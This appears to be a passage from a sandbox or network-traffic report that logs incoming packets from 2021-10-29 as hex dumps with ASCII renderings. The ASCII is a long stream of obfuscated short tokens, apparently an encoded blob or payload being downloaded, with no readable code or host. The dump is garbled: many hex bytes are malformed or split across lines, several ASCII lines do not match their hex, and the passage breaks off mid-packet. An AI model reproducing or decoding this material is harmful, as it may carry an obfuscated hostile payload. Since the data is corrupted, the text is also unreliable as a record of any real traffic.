2021-10-29 18:29:21 UTC 1693 IN Data Raw: 20 6f 4b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 59 6f 20 6f 78 52 20 59 6f 20 59 78 20 6b 52 20 4f 4f 4b 20 4f
4f 59 20 45 78 20 6f 4f 45 20 59 78 20 4b 6b 20 59 52 20 45 78 20 52 6b 20 4f 4f 4b 20 4f 4f 74 20 74 78 20 6b 6b 20 45
59 20 4b 6b 20 59 78 20 6f 51 20 4f 6f 4b 20 6f 59 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 4b 20 6f 6f 20 4b 51 20 59 78
20 6b 4f 20 51 78 20 59 6b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 6f 52 20 59 78 20 59 4b 20 74 51 20 52 52 20 4f 4f 45 20 4f
78 51 20 59 74 20 59 4f 20 4b 6b 20 59 78 20 4b 4f 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 78 59 20 45 20 4f 51 78 20 4b
51 20 59 78 20 4b 6b 20 4f 4f 45 20 4f 20 6f 4f 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 51 59 20 51 45 20 59 59 20 6b 4b 20
4f 4f 52 20 6b 78 20 45 78 20 4f 78 59
Data Ascii: 0KY OOt OxQ OOk Yo oxR Yo Yx kR OOK OOY Ex 0OE Yx Kk YR Ex Rk OOK OOt tx kk EY Kk Yx 0Q OoK
0Yx OOt OxQ OOk oK 00 KQ Yx kO Qx Yk OxQ OO0 Yo oR Yx YK tQ RR OOE OxQ Yt YO Kk Yx KO kK OOK Oxx OxY E
0Qx KQ Yx Kk OOE O 00x OxQ OO0 YR QY QE YY kK OOR kx Ex OxY

2021-10-29 18:29:21 UTC 1694 IN Data Raw: 51 20 4f 4f 45 20 59 78 20 4b 6b 20 59 78 20 4f 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 59
78 20 4b 6b 20 6f 4f 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 51 6b 20 59 78 20
59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 52 4f 20 4b 6b 20 59 78 20 59 59 20 6b 4b 20 4f 4f 4b 20 4f
4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 4f 51 20 6b 59 20 4f 4f 4b 20 4f 4f 74 20 4b 4b 20 4f 4f 45 20
59 78 20 4b 6b 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6b 4f 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 4b 6b 20 59 78 20 59 4b
20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 4f 59 20 4b 51 20 59 78 20 59 4b 20 6f 6f 20 4f 4f 59 20 4f 4f
7420 4f 78 51 20 4f 4f 74
Data Ascii: Q OOE Yx Kk Yx Ok kk OOK OOR OxQ 000 Yx Kk 00OR YK kK OOK OoR OxQ OO0 Yx OQk Yx YK kk OOE
OO0t OxQ 000 RO Kk Yx YY kK OOK OOt OxQ OO0 Yx Kk Yx OOQ kY OOK OOt KK OOE Yx Kk YO YK kK OOK kO
OxQ 000 YO Kk Yx YK kk OOK OOt OxQ OO0 OOY KQ Yx YK oo OOY OOt OxQ OOt

2021-10-29 18:29:21 UTC 1696 IN Data Raw: 45 4b 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 4f 51 4b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 4b 20 4f 45 51 20
59 59 20 6b 4b 20 4f 4f 52 20 4f 4f 45 20 52 51 20 4f 59 78 20 59 78 20 4b 6b 20 59 6f 20 45 78 20 6f 6f 74 20 4f 4f 59 20
Af 4f 74 20 4f 78 74 20 51 78 20 45 45 20 78 20 52 6f 20 59 4b 20 4f 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20
59 78 20 4b 6b 20 59 78 20 59 78 20 4b 6f 20 4f 4f 74 20 4f 4f 52 20 4f 78 51 20 4f 4f 52 20 45 4f 20 6f 78 20 45 52 20 6f
45 78 20 4f 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 6b 20 4f 45 6b 20 4b 6b 20 59 78 20 52 78 20 4f 45 6f 20 4f 6f 52 20
Af 4f 74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 4f 45 52 20 59 78 20 59 4b 20 51 4b 20 51 78 20 6f 78 4b 20 4f 78 51 20 4f 4f 6f
20 59 52 20 6f 4b 20 4f 45 52
Data Ascii: EK Yx YK QK 0Q OQK OxQ OO0 YR oK OEQ YY kK OOR OOE RQ OYx Yx Kk Yo Ex oot OOY OOt Oxt Qx
EE x Ro YK OQK OOK OO0t OxQ 000 Yx Kk Yx Yx Ko OOt OOR OxQ OOR EO ox ER oEx Oo OOK OOt Oxk kk OEk Kk
Yx Rx OEo OoR OOt OxQ OOK oR OER Yx YK QK Qx oxK OxQ OOo YR oK OER

2021-10-29 18:29:21 UTC 1697 IN Data Raw: 6b 20 59 51 20 6f 6f 52 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 45 59 20 59 6f 20 51 45 20 6f 4b 78 20 6b 4b 20 4f
4f 4b 20 4f 6f 74 20 4f 4f 4f 20 4f 4f 6b 20 51 45 20 4f 78 20 59 78 20 59 4b 20 6b 6f 20 6b 74 20 4f 78 51 20 51 4b 20 4f 6f
78 20 4b 6b 20 59 4f 20 59 4b 20 45 78 20 4f 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 4f 78 59 20 4f 20 59 4b 20 52 59 20
4f 59 74 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 45 20 51 78 20 59 78 20 4b 6b 20 59 4f 20 4b 6f 20 6b 4b 20 4f 4f 4b 20 4f 4f
51 20 4f 78 51 20 51 74 20 59 78 20 4b 4b 20 45 4f 20 59 4b 20 51 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4b
6b 20 4b 6b 20 4f 4f 52 20 59 4b 20 74 6f 20 4f 52 20 4f 4f 74 20 51 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 74 52
20 6b 52 20 51 78 20 4f 74 4f
Data Ascii: k YQ 0oR OOR OxQ OOk EY Yo QE oKx kk OOK Oot OO0 OOk QE Ox Yx YK ko kt OxQ QK Oox Kk YO YK
Ex Oo OOK OOt Oxt OxY O YK RY OYt kk OOK Oot oE Qx Yx Kk YO Ko kk OOK OOQ OxQ Qt Yx KK EO YK Qx OOK
OO0t OxQ 000 Kk Kk OOR YK to OR OOt QQ OO0 Yx Kk Yx OtR kR Qx OtO
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:21 UTC 1698 IN Data Raw: 51 20 4f 6 6f 20 59 6f 20 59 4f 20 51 45 20 6b 4f 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 52 51 20 4f 6f 59 20 59 78
20 4b 6b 20 59 6f 20 6b 51 20 4f 59 74 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 4f 4b 20 59 6f 20 51 59 20 74 20 59 4b 20
6b 4b 20 4f 4f 52 20 6b 78 20 4f 4f 74 20 52 74 20 59 6b 20 59 78 20 4b 51 20 59 78 20 4f 6f 4b 20 4f 6b 20 4f 4f 74 20 4f
78 51 20 4f 4f 6b 20 4b 45 20 45 20 59 6f 20 52 51 20 6f 59 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 78 20 6f 4b 20 4f
4b 6f 20 4b 51 20 6b 51 20 74 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 6f 20 6f 78 20 59 78 20 4b 51 20 6b 51 20 59 59 20
4f 4F 59 20 4f 4f 74 20 4f 78 74 20 6b 6b 20 4f 6b 51 20 4b 6b 20 59 78 20 4b 6b 20 59 51 20 4b 6b 20 4f 4f 74 20 4f 78 51
20 4f 4f 6b 20 6f 45 20 4b 78 20 4f
Data Ascii: Q 000 Yo YO QE kO kY OOK OOY RQ OoY Yx Kk Yo kQ OYt OOK 0Ot OXE OOK Yo QY t YK kK OOR kx
0Ot Rt Yk Yx KQ Yx OoK Ok OOt OxQ 0Ok KE E Yo RQ 0YY OOK OOt OXE Ox oK OKo KQ kQ t 0OY OOt Oxt Qo ox
Yx KQ kQ YY OOY 0Ot Oxt kk OkQ Kk Yx Kk YQ Kk OOt OxQ OOk oE Kx O

2021-10-29 18:29:21 UTC 1700 IN Data Raw: 20 4b 6b 20 59 78 20 4b 6b 20 59 51 20 74 74 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 78 20 59 78 20 45 74 20
Af 6b 74 20 4f 6f 74 20 4f 4f 4b 20 4f 4f 74 20 Af 4f 4f 20 6b 59 20 45 52 20 52 74 20 4f 59 59 20 59 4b 20 6b 4b 20 4f 4f 52
20 6f 4f 59 20 52 51 20 6f 59 45 20 59 78 20 4b 6b 20 59 6f 20 6b 51 20 6f 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 6b 52
20 6f 4b 20 4b 6b 20 59 78 20 59 4b 20 74 4f 20 52 52 20 4f 4f 6f 20 4f 78 51 20 4f 51 6f 20 59 4f 20 4b 6b 20 59 78 20 4f
51 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4f 20 6b 6b 20 4f 6b 4b 20 4b 6b 20 59 78 20 4b 6b 20 45 51 20 4f 4f 51 20 4f
4f 51 20 4f 78 51 20 4f 4f 6b 20 59 52 20 4b 74 20 52 4f 20 4f 6b 74 20 51 78 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 6b 59 20
45 52 20 45 52 20 6f 78 4b 20 4b
Data Ascii: Kk Yx Kk YQ tt OOt OxQ OOk ox Yx Et Okt Oot OOK OOt OO0 kY ER Rt OYY YK kK OOR 00Y RQ oYE Yx
Kk Yo kQ 00 OOK OOt Oxt kR oK Kk Yx YK tO RR OO0 OxQ OQo YO Kk Yx OQ kK OOK Oxx OO0 kk OkK Kk Yx Kk
EQ O0Q O0Q OxQ OOk YR Kt RO Okt Qx OOK OOt OO0 KY ER ER oxK K

2021-10-29 18:29:21 UTC 1701 IN Data Raw: 4b 20 6b 4b 20 4f 4f 52 20 6f 4f 59 20 52 51 20 6f 4b 6b 20 59 78 20 4b 6b 20 59 6f 20 4b 6b 20 45 51 20 6f 4f
4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 74 51 20 59 52 20 59 4f 20 59 4b 20 6b 78 20 51 78 20 6f 4b 78 20 4f 78 51 20 4f
4f 6f 20 59 6f 20 59 4b 20 6f 78 4b 20 4b 6b 20 6b 6f 20 4f 4f 6f 20 4f 4f 74 20 4f 78 74 20 45 20 4f 59 4f 20 4b 6b 20 59 78
20 52 78 20 4f 6f 4b 20 51 6b 20 4f 4f 74 20 4f 78 51 20 51 4f 20 6f 52 20 45 45 20 59 78 20 59 4b 20 4f 6f 74 20 51 78 20
6f 4b 45 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 6f 4b 20 4f 6b 4f 20 59 4b 20 6b 4b 20 4f 4f 52 20 4f 4f 59 20 4f 4b 74 20 4f 4f 6
b 20 59 45 20 59 78 20 59 78 20 4b 6b 20 45 51 20 6f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 45 6f 20 59 78
20 59 4b 20 4f 6f 74 20 51 78 20
Data Ascii: K kk OOR 00Y RQ oKk Yx Kk Yo Kk EQ 0OK OOt OxQ Ooo tQ YR YO YK kx Qx oKx OxQ OOo Yo YK oxK
Kk ko OO0 OOt Oxt E OYO Kk Yx Rx OoK Qk OOt OxQ QO oR EE Yx YK Oot Qx oKE OxQ OO0 Yo oK OkO YK kK OOR
OO0Y OKt OOk YE Yx Yx Kk EQ 00Y OOt OxQ Ooo oR Eo Yx YK Oot Qx

2021-10-29 18:29:21 UTC 1702 IN Data Raw: 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 6f 4f 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f
2059 78 20 4f 51 74 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 6f 6f 20 4b 6b 20 59 78
20 59 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 59 4b 20 59 78 20 4b 6b 20 59 78 20 52 4f 20 6b 4b 20 4f 4f 4b
20 4f 4f 74 20 4f 59 59 20 4f 4f 6f 20 59 78 20 4b 6b 20 4b 51 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 6f 20 4f 78 51 20 4f 4f
6f 20 59 4f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4b 74 20 4b 51 20 59 78
20 59 4b 20 74 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4b 6b 20 59 78 20 4f 6b 20 6b 4b 20 4f 4f 4b
20 4f 4f 52 20 4f 78 51 20 4f 4f
Data Ascii: XQ OO0 Yx Kk 0OR YK kK OOK OoR OxQ OO0 Yx OQt Yx YK kk OOY OOt OxQ OO0 00 Kk Yx YY kK OOK
OO0t OxQ OYK Yx Kk Yx RO kk OOK OOt OYY 000 Yx Kk KQ YK kk OOK Ooo OxQ 000 YO Kk Yx YK kk OOK OOt O
xQ 000 Kt KQ Yx YK tE OOY OOt OxQ OOE Yx Kk Yx Ok kk OOK OOR OxQ OO

2021-10-29 18:29:21 UTC 1704 IN Data Raw: 20 4f 4f 59 20 74 4f 20 6f 4b 52 20 59 4b 20 6f 4b 20 4f 45 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 6f 4f 51
20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 6f 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 6f 78 4f 20 59 4f 20 4b 6b
20 59 6f 20 59 78 20 4f 6f 4b 20 4f 4b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 52 20 4f 45 59 20 59 4f 20 59 4b 20 6b 6f
20 6b 6b 20 4f 78 6f 20 51 45 20 4f 6f 4b 20 59 78 20 4f 52 52 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78
51 20 4f 4f 6f 20 59 4b 20 74 6b 20 59 52 20 59 59 20 6b 4b 20 4f 4f 6b 20 6b 6b 20 74 45 20 4f 78 6f 20 6f 6f 52 20 4f 78 4
b 20 59 78 20 59 4b 20 6b 59 20 51 78 20 6f 78 59 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 6f 4b 20 52 45 20 59 4b 20 6b 4b
20 4f 4f 6f 20 51 45 20 6f 4f 45
Data Ascii: OOY tO oKR YK oK OEY YK kK Oox oR 00Q OO0 Yx Yk QE OoQ kK OOK Oot RQ 0xO YO Kk Yo Yx OoK
OKk OOt OxQ OOk oR OEY YO YK ko kk Oxo QE OoK Yx ORR Yx YK kk OOK OOt OxQ OO0 YK tk YR YY kK OOk kk
tE Ox0 00R OxK Yx YK kY Qx oxY OxQ OOo YR ooK RE YK kK OO0 QE oOE

2021-10-29 18:29:21 UTC 1705 IN Data Raw: 6f 52 20 59 4f 20 4b 6b 20 59 6f 20 45 51 20 6b 78 20 51 78 20 4f 4b 4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 51
59 20 4f 52 6f 20 59 59 20 6b 4b 20 4f 4f 52 20 4f 78 78 20 4f 78 59 20 45 4f 20 6f 4b 4b 20 4b 6b 20 59 78 20 52 78 20 6b
78 20 51 78 20 6f 78 4f 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 59 4b 20 51 45 20 52 74 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 74 4f
20 4f 4f 6f 20 59 78 20 4b 51 20 4b 52 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 6f 20 4b 52 20 6f 51 20
59 78 20 59 52 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 4f 6b 20 59 78 20 4b 6f 20 59 4b 20 4
f 4f 4b 20 4f 6f 45 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 4f 52 20 59 78 20 4f 6f 4b 20 6f 78 52 20 4f 4f 52 20 4f 78
51 20 4f 4f 6b 20 6f 52 20
Data Ascii: 0R YO Kk Yo EQ kx Qx OKK OxQ OO0 Yo QY ORo YY kK OOR Oxx OxY EO oKK Kk Yx Rx kx Qx oxO Oxk
000 Yo YK QE Rt kY OOK OOY tO 000 Yx KQ KR YK kk OO0 OOt OoK 000 KR 0Q Yx YR kK OOK OOt OxQ OOK Yx
OOk Yx Ko YK OOK OoE OxQ OO0 Yx Kk OOR Yx OoK oxR OOR OxQ OOk oR

2021-10-29 18:29:21 UTC 1706 IN Data Raw: 4f 4f 59 20 51 45 20 6b 59 20 59 4f 20 59 4b 20 6b 6f 20 6f 51 20 6f 6f 59 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4b
78 20 4f 51 4f 20 6f 51 20 6b 4b 20 4f 4f 4b 20 4f 4f 51 20 74 6f 20 4f 78 6f 20 52 59 20 4f 52 45 20 59 78 20 59 4b 20 6b 6f
20 6f 78 6b 20 6b 78 20 4f 6f 6f 20 4f 4f 6b 20 4f 4b 4b 20 6f 4b 20 4f 51 4f 20 59 4b 20 6b 4b 20 4f 4f 52 20 4f 6f 52 20 4f
78 52 20 4f 4f 59 20 51 45 20 6b 51 20 59 4f 20 59 4b 20 6b 6f 20 51 78 20 6f 4b 51 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 51 5
9 20 6f 4b 6b 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 4f 45 20 52 51 20 6f 78 4b 20 59 4f 20 4b 6b 20 59 6f 20 4b 51 20 59 51
20 6f 4b 45 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 6f 4b 20 4f 52 52 20 4b 51 20 6b 51 20 59 45 20 4f 4f 59 20 4f 4f 74 20 4f
7874 20 51 6f 20 4b 52 20
Data Ascii: OOY QE kY YO YK ko 0Q ooY OxQ OO0 Yo Kx OQO 0Q kK OOK OOQ to Oxo RY ORE Yx YK ko oxk kx Ooo
OOk OKK oK OQO YK kK OOR OoR OxR OOY QE kQ YO YK ko Qx 0KQ OxQ 000 Yo QY oKk YK kK Oox OOE RQ oxK
YO Kk Yo KQ YQ oKE OOR OxQ OOk oK ORR KQ kQ YE OOY OOt Oxt Qo KR

2021-10-29 18:29:21 UTC 1710 IN Data Raw: 20 59 51 20 51 59 20 6f 45 20 59 4b 20 6b 4b 20 4f 6f 78 20 6b 51 20 4f 78 4b 20 4f 78 45 20 45 45 20 59 4b 20
6f 59 20 52 45 20 74 78 20 4f 6f 6f 20 51 45 20 6b 6b 20 4f 4f 6f 20 59 78 20 59 6b 20 45 4f 20 6f 45 6f 20 4f 45 6b 20 4f 6f
4b 20 4f 78 45 20 4f 78 4f 20 4f 4b 6f 20 45 52 20 59 52 20 59 78 20 59 4b 20 74 51 20 6f 51 20 4f 6f 52 20 4f 78 51 20 4f
4f 6f 20 59 52 20 6f 45 52 20 45 59 20 4b 6b 20 4f 4f 78 20 4f 74 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 45 45 20
59 59 20 52 51 20 4b 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 51 20 59 52 20 45 45 20 59 52 20 6b 51 20 4f 45 59 20 4f
4f 4b 20 4f 4f 74 20 4f 78 45 20 51 51 20 59 45 20 45 6b 20 45 45 20 52 4f 20 52 52 20 51 74 20 4f 6f 4f 20 74 78 20 59 74
20 45 59 20 59 51 20 45 4f 20 4f
Data Ascii: YQ QY oE YK kK Oox kQ OxK OxE EE YK oY RE tx Ooo QE kk OO0 Yx Yk EO oEo OEk OoK OXE OxO OKo
ER YR Yx YK tQ 0Q OoR OxQ OO0 YR oER EY Kk OOx OtR OOt OxQ OO0 Yx EE YY RQ Kk OOK OOt OXE QQ YR EE
YR kQ OEY OOK OOt OxE QQ YE Ek EE RO RR Qt 000 tx YtEY YQ EO O
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:21 UTC 1715 IN Data Raw: 20 59 78 20 59 4b 20 6f 78 52 20 4f 4f 6f 20 4f 4f 74 20 4f 78 51 20 4f 74 51 20 4b 6b 20 4b 6b 20 59 78 20 59
45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 4b 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78
4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 4b 45 20 4b 6b 20 59 4b 20 6b 4b 20 4f 52 4f 20 4f 4f 51 20 4f 78 51 20 4f 4f 6f 20
59 52 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4b
6b 20 6b 4b 20 4f 4f 4b 20 Af 4f 74 20 4f 6b 78 20 4f 4f 4b 20 59 78 20 4b 6b 20 6f 45 74 20 59 6f 20 6b 4b 20 4f 4f 4b 20 4f
4f 6b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 6b 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 78 59 20 4f 4f 6f 20
4f 6f 45 20 4b 51 20 59 78 20 59
Data Ascii: Yx YK 0xR OO0 OOt OxQ OtQ Kk Kk Yx YE kK OOK OOt Qk OO0 Yx KQ Kk YK kK OOK OxO OxQ OO0 Yx
oKE Kk YK kk ORO O0Q OxQ OO0 YR Kk Yx YK kk OOK OOt OxQ OO0 Yx Kk Yx Kk kk OOK OOt Okx OOK Yx Kk
oEt Yo kk OOK OOk OxQ OO0 Yx Yk Yx YK KY OxY RQ OxY OO0 OoE KQ Yx Y

2021-10-29 18:29:21 UTC 1716 IN Data Raw: 20 51 59 20 59 74 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 52 51 20 4f 6f 4b 20 4f 4f 74 20 45 4f 20 45 6f 20 59 45

20 45 51 20 6b 78 20 4f 4f 45 20 4f 4f 45 20 52 51 20 6f 6f 4b 20 59 78 20 4b 6b 20 59 6f 20 45 78 20 52 52 20 4f 4f 4b 20
Af 4f 74 20 74 78 20 4f 6f 45 20 59 51 20 51 59 20 52 6f 20 59 4b 20 6b 4b 20 4f 6f 78 20 6b 6b 20 6f 59 59 20 4f 74 4b 20
59 52 20 59 74 20 45 78 20 4b 6b 20 51 45 20 6f 51 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 45 52 20 6f 45 52 20
59 45 20 4f 4f 4b 20 4f 74 6f 20 4f 4f 74 20 4f 78 59 20 51 51 20 59 6b 20 45 6b 20 45 45 20 52 45 20 4f 6f 74 20 6b 45 20
4f 78 78 20 4f 78 4f 20 51 74 20 59 51 20 4f 74 78 20 45 45 20 52 78 20 6b 45 20 4f 4f 6f 20 4f 78 78 20 4f 78 45 20 6b 6b
20 6f 45 45 20 4b 6b 20 59 78 20 52 78

Data Ascii: QY Yt YK kk Oox ORQ OoK OOt EO Eo YE EQ kx OOE OOE RQ 00K Yx Kk Yo Ex RR OOK OOt tx OoE YQ
QY Ro YK kK Oox kk oYY OtK YR Yt Ex Kk QE 0Q OoR OxQ OOo YR oER 0ER YE OOK Oto OOt OxY QQ Yk Ek EE RE
Oot kE Oxx OxO Qt YQ Otx EE Rx kE OO0 Oxx OxE kk oEE Kk Yx Rx

2021-10-29 18:29:21 UTC 1720 IN Data Raw: 52 20 51 78 20 6b 4b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 4f 20 74 52 20 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 6f
74 20 4f 6f 52 20 4f 4f 52 20 74 52 20 4b 52 20 59 78 20 59 4b 20 51 4b 20 51 74 20 4f 4f 6f 20 4f 78 78 20 45 20 4f 52 20
4b 6b 20 59 78 20 52 78 20 4f 6f 4b 20 6b 4f 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 6f 78 20 59 78 20 59 4b 20 51
4b 20 51 74 20 4f 4f 45 20 4f 6f 4b 20 4f 4f 52 20 4b 59 20 52 45 20 4f 51 4f 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20
74 6f 20 4f 52 78 20 6f 4f 59 20 4b 6b 20 59 78 20 59 78 20 4f 6f 4b 20 52 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 59 2C
6b 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 6b 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 6b 20 4b 78 20 4b 78 20 6f 4f 74 20
4b 78 20 4f 4f 74 20 4f 78 51 20
Data Ascii: R Qx kK OxQ OO0 YR RO tR Kx kK OOK Oot OoR OOR tR KR Yx YK QK Qt OO0 Oxx E OR Kk Yx Rx OoK
kO OOt OxQ Ooo QE ox Yx YK QK Qt OOE OoK OOR KY RE OQO Oxk kk OOK OOR to ORx 00Y Kk Yx Yx OoK RQ
OO0t OxQ 000 RY k Yx YK QK 0Q kx OxQ OO0 YR ok Kx Kx 00Ot Kx OOt OxQ

2021-10-29 18:29:21 UTC 1724 IN Data Raw: 78 51 20 4f 4f 6f 20 59 52 20 4f 78 20 6f 4f 45 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 52 20 4f 4f 51 20 6b 6b 20
51 52 20 4b 6b 20 59 78 20 52 78 20 74 59 20 4f 78 4f 20 6f 4b 6b 20 59 59 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 6f 45
78 20 4f 45 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 6b 6b 20 59 20 4b 6b 20 59 78 20 52 78 20 45 51 20 74 4b 20 4f 4f 74
20 4f 78 51 20 4f 6f 6f 20 6f 52 20 6f 74 20 59 78 20 59 4b 20 51 4b 20 51 74 20 4f 6f 59 20 4f 78 74 20 45 20 4f 51 51 20
4b 6b 20 59 78 20 4b 6b 20 74 4f 20 4f 4f 6b 20 4f 78 78 20 4f 78 59 20 51 6b 20 59 4f 20 6f 4b 20 6f 4f 51 20 59 4b 20 6b
4b 20 4f 6f 78 20 6f 52 20 4f 45 4f 20 4f 4f 6f 20 59 78 20 59 4b 20 45 59 20 59 78 20 52 74 20 6f 59 59 20 4b 74 20 4f 78 5
1 20 4f 4f 6f 20 59 4f 20 6f 4f 20
Data Ascii: xQ OO0 YR Ox 00E YK kK OOK OxR 00Q kk QR Kk Yx Rx tY OxO oKk YY OOo Yx KQ oE oEx OEx OOK
OO0t OxY kk Y Kk Yx Rx EQ tK OOt OxQ 000 oR ot Yx YK QK Qt OoY Oxt E OQQ Kk Yx Kk tO OOk Oxx OxY Qk YO oK
00Q YK kK Oox oR OEO OO0 Yx YK EY Yx Rt oYY Kt OxQ OO0 YO 00O

2021-10-29 18:29:21 UTC 1728 IN Data Raw: 4f 4b 20 4f 4f 59 20 74 6f 20 6f 20 74 78 20 59 74 20 59 78 20 74 78 20 4f 6f 4b 20 4f 74 20 4f 4f 74 20 4f 78 51
20 4f 6f 6f 20 52 4b 20 4f 6f 4f 20 59 52 20 59 4b 20 45 52 20 4f 6f 20 4f 78 74 20 4f 78 51 20 4f 4f 6f 20 59 52 20 51 59 20
4b 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 74 20 4f 6b 20 4f 6f 6f 20 59 78 20 52 4b 20 52 4b 20 4f 59 45 20 51 4b 20 4f 4f 4b
20 59 20 4f 51 20 4f 4f 78 20 59 78 20 4b 6b 20 59 52 20 45 78 20 74 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6b 6b 20 4f
4f 20 4b 6b 20 59 78 20 52 78 20 59 51 20 4f 45 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 45 20 52 52 20 4f 4b 4f 20 52
78 20 6b 4b 20 6f 20 74 20 4f 6f 52 20 4f 6f 45 20 59 78 20 52 4b 20 74 52 20 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52
51 20 4f 4f 4f 20 59 78 20 4b 6b
Data Ascii: OK OOY to o tx Yt Yx tx OoK Ot OOt OxQ Ooo RK 000 YR YK ER Oo Oxt OxQ OO0 YR QY KY YK kK Oox t
Ok Ooo Yx RK RK OYE QK OOK Y OQ OOx Yx Kk YR Ex tY OOK OOt OXE kk OO Kk Yx Rx YQ OEx OOt OxQ OOk oE
RR OKO Rx kK o t OoR O0E Yx RK tR Kx kk OOK Oot RQ OO0 Yx Kk

2021-10-29 18:29:21 UTC 1732 IN Data Raw: 4f 6f 78 20 4f 78 78 20 51 6b 20 6f 59 59 20 6f 6b 20 4b 6b 20 59 78 20 59 6f 20 4b 74 20 6b 52 20 4f 4f 74 20
4f 78 51 20 4f 4f 52 20 51 4f 20 51 59 20 4f 51 6f 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 4f 59 20 6b 59 20 6f 6f 52 20 59 78 2C
